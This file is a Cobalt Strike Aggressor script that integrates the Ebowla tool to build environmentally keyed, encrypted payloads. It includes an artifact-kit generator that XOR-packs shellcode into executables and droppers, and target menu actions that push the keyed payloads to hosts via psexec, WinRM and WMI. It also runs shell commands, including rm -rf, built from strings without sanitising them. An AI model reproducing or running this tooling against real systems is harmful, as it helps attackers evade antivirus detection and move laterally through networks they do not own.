ebowla-interop.cna

# Integration with Ebowla
# Put ebwola.py in your path, for example:
#   ln -s /opt/Ebowla/ebowla.py /usr/bin/ebowla.py
# You can generate a payload by clicking on Attacks -> Generate Ebowla Payload, just follow the instructions
#
# Some more work could be done to make this better
# - @Und3rf10w 20170228

sub ebowlaHelperConfigPopup {
	import javax.swing.JFrame;
	import javax.swing.JPanel;
	import java.awt.GridLayout;
	import java.awt.BorderLayout;
	import javax.swing.JScrollPane;
	import javax.swing.JTextPane;
	import javax.swing.JLabel;
	import javax.swing.JTextField;
	import javax.swing.JButton;
	import javax.swing.JComboBox;
	import javax.swing.JEditorPane;
	import javax.swing.ScrollPaneConstants;
	import javax.swing.JDialog;
	import javax.swing.DefaultComboBoxModel;
	import javax.swing.SwingConstants;
	$dialog = dialog("Ebowla Configuration Window", 450, 550);
	
	# Base content pane
	$contentPane = [new JPanel];
	[$contentPane setLayout: [new GridLayout: 9, 1, 0, 0]];
	
	# Panel for holding the instructions
	$instructionsPanel = [new JPanel];
	[$contentPane add: $instructionsPanel];
	[$instructionsPanel setLayout: [new GridLayout: 0, 1, 0, 0]];
	
	$scrollPane = [new JScrollPane];
	[$scrollPane setVerticalScrollBarPolicy: [ScrollPaneConstants VERTICAL_SCROLLBAR_ALWAYS]];
	[$scrollPane setHorizontalScrollBarPolicy: [ScrollPaneConstants HORIZONTAL_SCROLLBAR_NEVER]];
	[$instructionsPanel add: $scrollPane];
	
	$textPaneInstructions = [new JTextPane];
	[$textPaneInstructions setContentType: "text/html"];
	[$textPaneInstructions setText: "<b><u>ENSURE YOU EDIT THE ENCRYPTION CONFIGURATION AT THE BOTTOM OF THIS WINDOW.</u></b><br>Use this menu to set the various configuration options for the Ebowla payload you want to generate. This assumes you already have a desired payload generated via Cobalt Strike. The pre-generated payload must match your desired output type. Maybe eventually we can have it where it generates a payload on the fly and does everything automagically (submit a pull request).\n\nThe general workflow is to just work down this menu:\n<ol>\n  <li>Generate and a payload using the built-in Cobalt Strike payload generator</li>\n  <li>Open this menu (you are here!)</li>\n  <li>Specify the path to the payload</li>\n  <li>Specify the desired output type (Go, Python, Powershell)</li>\n  <li>Specify the desired output payload type</li>\n  <li>Specify the key iterations (if nessessary)</li>\n  <li>Specify the minus bytes</li>\n  <li>Specify the encryption type</li>\n  <li>Modify the settings for your desired encryption type</li>\n </ol>\n\nDEFINITIONS:\n<ul>\n  <li><b>Output type</b> -  specifies which template will be used for output</li>\n  <li><b>Payload type</b> - specifies the file being fed and the file being generated</li>\n  <li><b>Key iterations</b> - for otp_type = key and for symmetric_settings_win. It is the number of times that the key hash is iterated via sha512 before being used as the encryption key.  NOT available to otp_type = full</li>\n  <li><b>Minus Bytes</b> - Number of bytes subtracted from the reconstructed payload that will be the sha512 checksum used when checking the file before executing the payload</li>\n  <li><b>Encryption Type</b> - specifies which Ebowla encryption type you want to use (ENV or OTP)</li>\n</ul>"];
	[$textPaneInstructions setCaretPosition: 0];
	[$scrollPane setViewportView: $textPaneInstructions];
	[$textPaneInstructions setEditable: false];
	
	# Panel for selecting the path to the input payload
	$payloadInputPanel = [new JPanel];
	[$contentPane add: $payloadInputPanel];
	
	$lblPayloadInputPath = [new JLabel: "Path to input payload:"];
	[$payloadInputPanel add: $lblPayloadInputPath];
	
	$textFieldPayloadInput = [new JTextField];
	[$payloadInputPanel add: $textFieldPayloadInput];
	[$textFieldPayloadInput setColumns: 15];
	
	$btnInputBrowse = [new JButton: "Browse..."];
	[$payloadInputPanel add: $btnInputBrowse];
	
	# Logic for the browse button:
	[$btnInputBrowse addActionListener: lambda({
		prompt_file_open("Select your input payload", &closure, false,{
				$inputPayloadPath = $1;
				[$textFieldPayloadInput setText: $inputPayloadPath];
			});
	})];
	
	# Panel for selecting the output type
	$outputPanel = [new JPanel];
	[$contentPane add: $outputPanel];
	$lblOutputType = [new JLabel: "Output Type:"];
	[$outputPanel add: $lblOutputType];
	$comboBoxOutput = [new JComboBox];
		[$comboBoxOutput addItem: "Go"];
		[$comboBoxOutput addItem: "Powershell"];
		[$comboBoxOutput addItem: "Python"];
		[$comboBoxOutput setSelectedIndex: 0];
	[$outputPanel add: $comboBoxOutput];

	
	# Panel for selecting Payload Type
	$payloadTypePanel = [new JPanel];
	[$contentPane add: $payloadTypePanel];

	$lblPayloadType = [new JLabel: "Payload Type:"];
	[$payloadTypePanel add: $lblPayloadType];
	
	$comboBoxPayload = [new JComboBox];
	
	# Logic for the dynamically populated payload combobox:
	# Create the models:
	$payloadTypeModelPowershell = [new DefaultComboBoxModel: @("EXE", "CODE", "DLL_x86", "DLL_x64", "FILE_DROP")]; #was casted as final
	$payloadTypeModelPython = [new DefaultComboBoxModel: @("EXE", "SHELLCODE", "CODE", "FILE_DROP")]; #was casted as final
	$payloadTypeModelGo = [new DefaultComboBoxModel: @("EXE", "DLL_x86", "DLL_x64", "SHELLCODE")]; #was casted as final

	# Set 'Go' as the default model (because the default output type is 'Go')
	[$comboBoxPayload setModel: $payloadTypeModelGo];

	# Logic to dynamically populate comboBoxPayload:
	[$comboBoxOutput addActionListener: lambda({
	if ([$comboBoxOutput getSelectedItem] eq "Powershell"){
		[$comboBoxPayload setModel: $payloadTypeModelPowershell];
	} else if ([$comboBoxOutput getSelectedItem] eq "Python"){
		[$comboBoxPayload setModel: $payloadTypeModelPython];
	} else {
		[$comboBoxPayload setModel: $payloadTypeModelGo];
	}
	},)];

	[$payloadTypePanel add: $comboBoxPayload];
	
	# Panel for selecting the key iterations
	$keyIterPanel = [new JPanel];
	[$contentPane add: $keyIterPanel];
	
	$lblKeyIterations = [new JLabel: "Key iterations:"];
	[$keyIterPanel add: $lblKeyIterations];
	
	$textFieldKeyIter = [new JTextField];
	[$textFieldKeyIter setText: "10000"];
	[$keyIterPanel add: $textFieldKeyIter];
	[$textFieldKeyIter setColumns: 10];
	
	# Panel for selecting minus bytes
	$minusBytesPanel = [new JPanel];
	[$contentPane add: $minusBytesPanel];
	
	$lblMinusBytes = [new JLabel: "Minus bytes:"];
	[$minusBytesPanel add: $lblMinusBytes];
	
	$textFieldMinusBytes = [new JTextField];
	[$textFieldMinusBytes setText: "1"];
	[$textFieldMinusBytes setColumns: 3];
	[$minusBytesPanel add: $textFieldMinusBytes];
	
	# Panel for selecting encryption type
	$encTypePanel = [new JPanel];
	[$contentPane add: $encTypePanel];
	
	$lblEncType = [new JLabel: "Encryption Type:"];
	[$encTypePanel add: $lblEncType];
	
	$comboBoxEncType = [new JComboBox];
		[$comboBoxEncType addItem: "ENV"];
		[$comboBoxEncType addItem: "OTP"];
		[$comboBoxEncType setSelectedIndex: 0];
	[$encTypePanel add: $comboBoxEncType];
	
	# Panel for the general configuration editor
	$configEditorPanel = [new JPanel];
	[$contentPane add: $configEditorPanel];
	[$configEditorPanel setLayout: [new GridLayout: 0, 1, 0, 0]];
	
	$scrollPaneConfigEditor = [new JScrollPane];
	[$scrollPaneConfigEditor setHorizontalScrollBarPolicy: [ScrollPaneConstants HORIZONTAL_SCROLLBAR_NEVER]];
	[$scrollPaneConfigEditor setVerticalScrollBarPolicy: [ScrollPaneConstants VERTICAL_SCROLLBAR_ALWAYS]];
	[$configEditorPanel add: $scrollPaneConfigEditor];
	$dtrpConfigEditor = [new JEditorPane];
	$lblConfigurationEditor = [new JLabel: "Encryption Configuration Editor"];
	[$lblConfigurationEditor setHorizontalAlignment: [SwingConstants CENTER]];
	[$dtrpConfigEditor setContentType: "text/encriched"];
	[$dtrpConfigEditor setText: "[otp_settings]\n    # otp is simple, provide one time pad, type,  and starting search location\n    # type is full otp to reconstruct the malware in memory, or an offset in the file for a symmetric key\n\n    otp_type = key # OPTIONS: full, key\n\n\n    # File for use with otp\n\n    pad = 'explorer.exe'\n\n    # Max pad size: Decide the largest pad size to use. \n    # 256 ** 3 - 1 (16777215 or 0xffffff) maximum is supported\n    # Too small might be a bad idea... \n\n    pad_max = 0xffffff\n\n    # starting location in the path to start looking if walking the path\n\n    scan_dir = 'c:\\windows\\sysnative'#'%APPDATA%'\n\n\n    # For use with FULL OTP:\n    #  Number of max bytes for matching the payload against the OTP \n    #  -- larger byte width equals possible smaller lookup table but longer build times\n\n    byte_width = 9\n\n\n\n[symmetric_settings_win]\n    # AES-CFB-256 key from a combination of the any of the following settings.\n    # Any of the following can be used, the more specific to your target the better.  \n\n\n    # set the value to '' if you do not want to use that value\n\n\n    # This is not a permanent list.  Any env variable can be added below.\n    # If you want the env variable to be used, give it a value.\n    # These are case insensitive.\n    \n    [[ENV_VAR]]\n    \n        username = 'admin'\n        computername = ''\n        homepath = ''\n        homedrive = ''\n        Number_of_processors = ''\n        processor_identifier = ''\n        processor_revision = ''\n        userdomain = 'DESKTOP-E1D6G0A'\n        systemdrive = ''\n        userprofile = ''\n        path = ''\n        temp = ''\n\n\n     [[PATH]]\n    \n    # Check if a path exists on the workstation\n    # Only one path can be used.  This is immutable. To use, give it a value and a start location.\n    \n        # This is the path that will be used as part of the key\n\n        path = ''\n    \n        # You can provide Env Variables that are associated with a path for the start_loc\n        #  , such as %TEMP%, %APPDATA%, %PROGRAMFILES%\n    # You Must use the %ENV VAR% when using env vars for paths!\n    # Examples: C:\\Windows, C:\\Program Files, %APPDATA%\n    \n    start_loc = '%HOMEPATH%'\n\n\n    [[IP_RANGES]]\n    \n    # Network mask for external enumeration 22.23.0.0\n    # IP mask should not be used alone more simple to brute force.\n    # Support for only 24 16 8 masks or exact ip\n    # 12.12.0.0 or 12.12.12.12 or 12.12.0.0 or 12.0.0.0\n    \n    external_ip_mask = ''  \n\n\n    [[SYSTEM_TIME]]\n    \n    # Time Range with BEGING and END in EPOC\n        # Should be used with another variable\n    # This is a mask: 20161001 or 20161000 or 20160000\n    # YEAR, MONTH, DAY\n    \n    Time_Range = '' \n"];
	[$dtrpConfigEditor setCaretPosition: 0];
	[$scrollPaneConfigEditor setViewportView: $dtrpConfigEditor];
	[$scrollPaneConfigEditor setColumnHeaderView: $lblConfigurationEditor];

	
	# Panel for holding the action buttons
	$actionButtonPanel = [new JPanel];
	[$contentPane add: $actionButtonPanel];
	
	$btnGenerate = [new JButton: "Generate"];
	[$actionButtonPanel add: $btnGenerate];
	[$btnGenerate addActionListener: lambda({
		$payloadInputPath = [$textFieldPayloadInput getText];
		$outputPayloadType = [$comboBoxOutput getSelectedItem];
		$keyIter = [$textFieldKeyIter getText];
		$minusBytes = [$textFieldMinusBytes getText];
		$payloadType = [$comboBoxPayload getSelectedItem];
		$encType = [$comboBoxEncType getSelectedItem];
		$ebowlaConfig = [$dtrpConfigEditor getText];
		saveEbowlaConfig($payloadInputPath, $outputPayloadType, $keyIter, $minusBytes, $payloadType, $encType, $ebowlaConfig);
		# Close the window
		[$dialog setVisible: 0];
	})];
	
	$btnCancel = [new JButton: "Cancel"];
	[$actionButtonPanel add: $btnCancel];
	[$btnCancel addActionListener: lambda({
		[$dialog setVisible: 0];
	})];

	# add everything to $dialog and make it visible
	[$dialog add: $contentPane];
	[$dialog setVisible: 1];
}



sub dialog {
	local('$dialog');
		$dialog = [new JDialog: $__frame__, $1];
		[$dialog setSize: $2, $3];
		[$dialog setLayout: [new BorderLayout]];
		[$dialog setLocationRelativeTo: $__frame__];
	return $dialog;
}
# Artifacts this will replace:
# 	artifact32.dll
# 	artifact32.exe
# 	artifact64.dll
# 	artifact64.exe
# 	dropper32.exe

# This will not modify the stageless payloads, uac bypass payloads, or service binaries. Finally, it'll only modify them when used through the target menu, and automatically unload them afterwards

sub generateEbowlaPayloads{
	# Returns a hash of the type of payload, and the path to the payloads
	#   EXE will return both EXE (for 32 bit), and EXE_64 (for 64 bit)
	%ebowlaValues = $1;
	%returnPayloadPaths = %();
	
	@payloadTypes = @("DLL_x86", "DLL_x64", "FILE_DROP", "EXE");
	foreach $payloadType (@payloadTypes){
		# iterate through each $env_var in %ebowlaValues
		#   Append each one to the config.
		# Generate the temporary ebowla config
		$handle = openf(">ebowlatmpconfig.config");
		println($handle, "[Overall]");
		println($handle, "\tEncryption_Type = ENV");
		println($handle, "\toutput_type = powershell");
		println($handle, "\tminus_bytes = 1");
		println($handle, "\tpayload_type = " . $payloadType);
		println($handle, "\tkey_iterations = 11337");
		println($handle, "\tclean_output = True");
		# include default otp settings just in case
		println($handle, "[otp_settings]\n\totp_type = key\n\tpad='cmd.exe'\n\tpad_max = 0xffffff\n\tscan_dir = 'c:\\windows\\sysnative'#'%APPDATA%'\n\tbyte_width = 9");
		println($handle, "[symmetric_settings_win]\n\t[[ENV_VAR]]");
		foreach $env_var (keys(%ebowlaValues)) {
			foreach $value (values(%ebowlaValues, $env_var)){
				println($handle, "\t\t" . $env_var . " = " . "'" . $value . "'");
			}
		}
		# Include remaining symmetric_settings_win
		println($handle, "\t[[PATH]]\n\t\tpath=''");

		# Select a random startpath from possible startpaths, just to introduce a little more entropy
		@startpaths = @('%HOMEPATH', '%USERPROFILE', '%SYSTEMDRIVE%%HOMEPATH%', '%TEMP%', '%SYSTEMDRIVE%\\');
		$startpath = rand(@startpath);
		println($handle, "\tstart_loc = '" . $startpath . "'");
		println($handle, "[[IP_RANGES]]\n\texternal_ip_mask = ''\n\t[[SYSTEM_TIME]]\n\tTime_Range = ''");
		closef($handle);

		if ($payloadType eq "DLL_x64"){
			$inputPath = "ebowladx64.ps1";
		} else if ($payloadType eq "EXE"){
			$inputPath = "ebowladx64.ps1";
			add(%returnPayloadPaths, EXE_64 => wait(processEbowlaConfig($inputPath)));
			$inputPath = "ebowladx86.ps1";
		} else {
			$inputPath = "ebowladx86.ps1";
		}
		wait(processEbowlaConfig($inputPath));
		add(%returnPayloadPaths, $payloadType => wait(processEbowlaConfig($inputPath)));
	}
	return %returnPayloadPaths;
}

sub saveNLoadArtifactCNA{
	# Save
	mkdir("/tmp/fullbowla/");
	$data = "# Artifact Kit Integration Script\n\n# Windows Executables and DLLs\n#\n# Arguments\n# \t\$1 = artifact file (e.g., artifact32.exe)\n# \t\$2 = shellcode\n# Return \n#\tour generated artifact\nset EXECUTABLE_ARTIFACT_GENERATOR {\n\tlocal('\$handle \$data \$key \$index \$payload \$resource \$buffer \$b \$x');\n\n\t(\$resource, \$payload) = @_;\n\n\t# try again or use the default artifact... I don't have it!\n\tif (!-exists script_resource(\$resource)) {\n\t\treturn \$null;\n\t}\n\n\t# read in the executable template\n\t\$handle = openf(script_resource(\$resource));\n\t\$data = readb(\$handle, -1);\n\tclosef(\$handle);\n\n\t# generate a random key\n\t\$key = @();\n\t\$key[0] = int(rand() * 253) + 1;\n\t\$key[1] = int(rand() * 253) + 1;\n\t\$key[2] = int(rand() * 253) + 1;\n\t\$key[3] = int(rand() * 253) + 1;\n\n\t# find the location of our data in the executable\n\t\$index = indexOf(\$data, 'A' x 1024);\n\n\t# pack data into a buffer \n\t\$buffer = allocate(1024);\n\n\t# [offset of payload data in binary] - 4 bytes\n\twriteb(\$buffer, pack(\"i-\", \$index + 16));\n\n\t# [length of payload] - 4 bytes\n\twriteb(\$buffer, pack(\"i-\", strlen(\$payload)));\n\n\t# [xor key] - 4 bytes\n\twriteb(\$buffer, chr(\$key[0]) );\n\twriteb(\$buffer, chr(\$key[1]) );\n\twriteb(\$buffer, chr(\$key[2]) );\n\twriteb(\$buffer, chr(\$key[3]) );\n\n\t# [padding] - 4 bytes\n\twriteb(\$buffer, 'aaaa');\n\n\t# pack our encoded payload into the buffer\n\tfor (\$x = 0; \$x < strlen(\$payload); \$x++) {\n\t\twriteb( \$buffer, chr( (byteAt(\$payload, \$x) ^ \$key[\$x % 4]) & 0xFF ) );\n\t}\n\n\t# retrieve the contents of the buffer.\n\tclosef(\$buffer);\n\t\$b = readb(\$buffer, -1);\n\n\t# return our encoded shellcode.\n\treturn replaceAt(\$data, \"\$[1024]b\", \$index);\n}\n\n# Attacks -> Packages -> Windows Dropper\n# \n# Arguments\n# \t\$1 = our previously patched executable\n#       \$2 = local path to file to include in the dropper.\n#       \$3 = name of file to drop to disk\n# Return \n#\tour generated Windows dropper artifact\nset DROPPER_ARTIFACT_GENERATOR {\n\tlocal('\$handle \$dropme \$file \$data \$blob \$index \$dropas');\n\n\t(\$data, \$file, \$dropas) = @_;\n\n\t# open the file to drop\n\t\$handle = openf(\$file);\n\t\$dropme = readb(\$handle, -1);\n\tclosef(\$handle);\n\n\t# pack some info that the dropper will use\n\t\t\t\t# length of dropped file name + NULL terminator\n\t\t\t\t\t\t# length of dropped data\n\t\$blob = pack(\"i-i-\", strlen(\$dropas) + 1, strlen(\$dropme));\n\n\t# locate our patch location...\n\t\$index = indexOf(\$data, 'DROPPER!');\n\n\t# patch our exe with the info\n\t\$data = replaceAt(\$data, \$blob, \$index);\n\n\t# return our assembled file please\n\treturn \$data . \"\$dropas \$+ \\x00\" . \$dropme;\n}\n";
	$handle = openf(">/tmp/fullbowla/ebowlaArtifact.cna");
	println($handle);
	closef($handle);
	# N load
	include("ebowlaArtifact.cna");
}

sub processEbowlaConfig{
	#1 = path to the input payload
	local("$inputPath");
	$inputPath = $1;
	$genEbowlaPayload = exec("ebowla.py " . $inputPath . " ebowlatmpconfig.config");
	@pushPayloadGen = readAll($genEbowlaPayload);

	# Wait up to 10 seconds for the payload to be generated.
	$returnValue = wait($genEbowlaPayload, 10 * 1000);
	if ($returnValue == 0) {
		$answer = search(@pushPayloadGen, &vaildPathCriteria);
		if ($answer ne $null){
			@generatedPathArray = split(': ', $answer, 2); 
			$rtnPayload = cwd() . "/output/" . @generatedPathArray[1];
		}
		closef($genEbowlaPayload);
	} else {
		printAll(@pushPayloadGen);
		show_error("Something went wrong when trying to generate payload. Please see Script Console for more info");
		closef($genEbowlaPayload);
	}
	# remove the generated config
	deleteFile("ebowlatmpconfig.config");
	return $rtnPayload;
}


sub vaildPathCriteria{
	return iff("[*] Writing" isin $1, "$1", $null); 
}

sub getTargetValue{
	# $1 = Target IP address
	# $2 = Value to return (address, os, name, version)
	local('$provided_target $desired_value');
	$provided_target = $1;
	$desired_value = $2;
	$target_list = data_query("targets");

	foreach $target ($target_list){
		if ($target['address'] eq $provided_target) { 
			return ($target[$desired_value]); 
		}
	}
}

sub generateInitalArtifact{
	local('$data $listener');
	# Have the user select a listener from listeners_local(), which returns an array of listener names
	$data = artifact($listener, "powershell", true, "x86");
	$handle = openf(">ebowladx86.ps1");
	writeb($handle, $data);
	closef($handle);
	$data = artifact($listener, "powershell", true, "x64");
	$handle = openf(">ebowladx64.ps1");
	writeb($handle, $data);
	closef($handle);
}

sub executeJump{
	# You'll have DLL_x64, DLL_x86, EXE, EXE_64, and FILE_DROP
	foreach $payloadType (keys(%ebowlaPayloads)) {
		foreach $payloadPath (values(%ebowlaPayloads)) {
			if ($payloadType eq "DLL_x64") {
				wait(mv($payloadPath, "/tmp/fullbowla/artifact64.dll"));
			} else if ($payloadType eq "DLL_x86") {
				wait(mv($payloadPath, "/tmp/fullbowla/artifact32.dll"));
			} else if ($payloadType eq "EXE_x64") {
				wait(mv($payloadPath, "/tmp/fullbowla/artifact64.exe"));
			} else if ($payloadType eq "EXE_x86") {
				wait(mv($payloadPath, "/tmp/fullbowla/artifact32.exe"));
			} else {
				wait(mv($payladPath, "/tmp/fullbowla/dropper32.exe"));
			}
		}
	}
	include("/tmp/fullbowla/ebowlaArtifact.cna");
	openPayloadDialog($jmpType, $target);
}

sub rmrf{
	# executes a rm -rf on $1 (no user modifiable input should taken when using this...)
	$process = exec("rm -rf " . $1);
	@data = readAll($process);
	closef($process);
}

sub mv{
	# executes a mv of $1 to $2 (no user modifiable input should taken when using this...)
	$process = exec("mv " . $1 . " " . $2);
	@data = readAll($process);
	closef($process);
}

popup targets{
	# General workflow here:
	#   1. Generate a 32-bit and 64-bit powershell payloads through cobalt strike
	#   2. load the payload into ebowla and generate as many artifacts as possible (DLL_x86, DLL_x64, EXE), using values grabbed from targets
	#	3. load new artifacts
	#	4. execute the desired action (psexec, etc) (see default.cna)
	#	5. unload new artifacts
	#	6. Repeat steps 1-5 for each selected target
	
	# $1 selected host
	menu "Login (Ebowla)" {
		item "psexec" {
			local('$target $target_list $target_name $target_username $target_domain $jmpType');
			$jmpType = "psexec";
			foreach $target ($1) {
				$target_name = wait(getTargetValue($target, "name"));
				# TODO: Determine how to grab username and domain from selected login
				# $target_username = 
				# $target_domain = 
				wait(generateInitalArtifact());
				# %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain);
				%ebowlaValues = %(computername => $target_name);
				# Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit.
				%ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues));
				wait(saveNLoadArtifactCNA());
				# For execution of what was requested and wait for it to finish
				#    Forking will create a new thread and script environment to ensure we
				#    don't have any issue loading the new artifact kit
				# TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we
				#    have to wait until each target selected responds to a response from openJumpDialog?
				#    The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target,
				#    instead of the norm where they just select one jump and it applies to every target.
				$handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads);
				wait($handle);
				wait(rmrf("/tmp/fullbowla"));
			}
		}
		item "psexec (psh)" {
			local('$target $target_list $target_name $target_username $target_domain $jmpType');
			$jmpType = "psexec_psh";
			foreach $target ($1) {
				$target_name = wait(getTargetValue($target, "name"));
				# TODO: Determine how to grab username and domain from selected login
				# $target_username = 
				# $target_domain = 
				wait(generateInitalArtifact());
				# %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain);
				%ebowlaValues = %(computername => $target_name);
				# Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit.
				%ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues));
				wait(saveNLoadArtifactCNA());
				# For execution of what was requested and wait for it to finish
				#    Forking will create a new thread and script environment to ensure we
				#    don't have any issue loading the new artifact kit
				# TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we
				#    have to wait until each target selected responds to a response from openJumpDialog?
				#    The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target,
				#    instead of the norm where they just select one jump and it applies to every target.
				$handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads);
				wait($handle);
				wait(rmrf("/tmp/fullbowla"));
			}
		}
		item "winrm" {
			local('$target $target_list $target_name $target_username $target_domain $jmpType');
			$jmpType = "winrm";
			foreach $target ($1) {
				$target_name = wait(getTargetValue($target, "name"));
				# TODO: Determine how to grab username and domain from selected login
				# $target_username = 
				# $target_domain = 
				wait(generateInitalArtifact());
				# %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain);
				%ebowlaValues = %(computername => $target_name);
				# Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit.
				%ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues));
				wait(saveNLoadArtifactCNA());
				# For execution of what was requested and wait for it to finish
				#    Forking will create a new thread and script environment to ensure we
				#    don't have any issue loading the new artifact kit
				# TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we
				#    have to wait until each target selected responds to a response from openJumpDialog?
				#    The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target,
				#    instead of the norm where they just select one jump and it applies to every target.
				$handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads);
				wait($handle);
				wait(rmrf("/tmp/fullbowla"));
			}
		}
		item "wmi (psh)"{
			local('$target $target_list $target_name $target_username $target_domain $jmpType');
			$jmpType = "psexec_psh";
			foreach $target ($1) {
				$target_name = wait(getTargetValue($target, "name"));
				# TODO: Determine how to grab username and domain from selected login
				# $target_username = 
				# $target_domain = 
				wait(generateInitalArtifact());
				# %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain);
				%ebowlaValues = %(computername => $target_name);
				# Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit.
				%ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues));
				wait(saveNLoadArtifactCNA());
				# For execution of what was requested and wait for it to finish
				#    Forking will create a new thread and script environment to ensure we
				#    don't have any issue loading the new artifact kit
				# TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we
				#    have to wait until each target selected responds to a response from openJumpDialog?
				#    The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target,
				#    instead of the norm where they just select one jump and it applies to every target.
				$handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads);
				wait($handle);
				wait(rmrf("/tmp/fullbowla"));			
			}	
		}
	}
}

popup attacks{
	item ("Generate Ebowla Payload", { 
		ebowlaHelperConfigPopup();
	});
}